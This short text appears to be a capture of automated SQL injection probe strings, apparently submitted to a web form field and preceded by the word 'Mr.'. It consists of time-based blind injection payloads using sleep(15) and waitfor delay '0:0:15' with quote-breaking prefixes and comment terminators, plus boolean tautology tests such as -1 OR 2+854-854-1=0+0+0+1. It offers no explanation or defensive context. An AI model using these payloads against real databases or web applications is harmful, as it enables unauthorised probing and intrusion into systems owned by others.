Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --

Gf0iWoFV'; waitfor delay '0:0:15' --

1

IRnWrcWk'); waitfor delay '0:0:15' --

1

-1 OR 2+854-854-1=0+0+0+1 --

5l3nM4gd')); waitfor delay '0:0:15' --

-1 OR 2+834-834-1=0+0+0+1

-1' OR 2+288-288-1=0+0+0+1 --